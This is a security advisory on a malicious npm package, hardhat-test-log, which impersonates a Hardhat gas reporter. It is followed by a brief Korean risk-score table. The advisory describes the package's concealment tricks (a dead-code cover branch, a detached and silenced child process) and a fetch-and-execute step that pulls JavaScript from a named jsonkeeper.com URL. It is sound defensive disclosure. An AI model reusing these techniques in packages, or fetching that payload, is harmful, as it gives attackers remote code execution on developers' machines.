Malicious code in hardhat-test-log (npm)
-= Per source details. Do not edit below this line.=-
Package impersonates the legitimate hardhat-gas-reporter / eth-gas-reporter (README is a near-verbatim copy referencing eth-gas-reporter, but package.json name is hardhat-test-log). The exported reporter function in index.js sets var opt = 1 and unconditionally takes the else branch, making the plausible Mocha-reporter implementation in the if (!opt) block dead code that exists only as cover. The reachable branch calls utils.connectNet(...) in lib/utils.js, which uses child_process.spawn('node', [lib/syncResolve.js,...], { detached: true, stdio: ['ignore'] }) followed by progs.unref() to launch a detached, output-suppressed background process that survives the parent test runner. lib/syncResolve.js then performs axios.get('https://www.jsonkeeper.com/b/NB36A', { headers: { 'x-secret-key': '_' } }), reads data.Cookie from the response, and executes it via new Function.constructor('require', result)(require) — full remote code execution in the developer's Node process with access to require. jsonkeeper.com is an anonymous free JSON paste host whose content the author can mutate at any time, so any developer who installs this package and runs their Hardhat/Mocha test suite using this reporter will execute whatever JavaScript the author chooses to host there.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준